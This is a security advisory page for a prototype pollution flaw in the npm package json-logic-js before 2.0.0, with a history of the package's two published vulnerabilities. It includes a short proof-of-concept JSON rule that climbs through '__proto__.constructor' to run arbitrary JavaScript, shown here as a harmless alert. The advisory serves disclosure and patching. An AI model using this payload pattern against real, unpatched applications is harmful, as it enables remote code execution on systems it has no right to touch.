High

Prototype Pollution in json-logic-js

Disclosed: 12.11.2020
Updated: 11.10.2026 10:22

Versions of json-logic-js prior to 2.0.0 are vulnerable to Prototype Pollution. The method operation allows a malicious user to modify the prototype of Object through the method property name. This causes modification of any existing property that will exist on all objects and leads to Remote Code Execution.

The following rule creates a popup when run from a browser:

{
  "method": [
    {
      "method": [
        {
          "var": "__proto__.constructor.is.__proto__"
        },
        "constructor",
        [
          "var x = 'SECURITY!'; console.log(x, window.fetch); alert(x)"
        ]
      ]
    },
    "call"
  ]
}

Affected software

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Platform	Package	Vulnerable versions	Fixed in
npm package	json-logic-js	< 2.0.0	2.0.0

References

CVSS score -

Weakness (CWE): CWE-471
Platform: npm
Package: json-logic-js
Disclosed: 12.11.2020
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-m9hw-7xfv-wqg7 - CC BY 4.0

Vulnerability history: json-logic-js

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries: 2
First → latest: 11.2020 03.2023
Without a fix: 0
Exploited in attacks: 0

Severity breakdown

Critical 1
High 1

Disclosures per year

2020: 1
2021: 0
2022: 0
2023: 1
2024: 0
2025: 0
2026: 0

05.03.2023

json-logic-js Command Injection vulnerability

Critical · 9.8 CVE-2021-4329 < 2.0.1 2.0.1
12.11.2020

Prototype Pollution in json-logic-js this entry

High ghsa-m9hw-7xfv-wqg7 < 2.0.0 2.0.0

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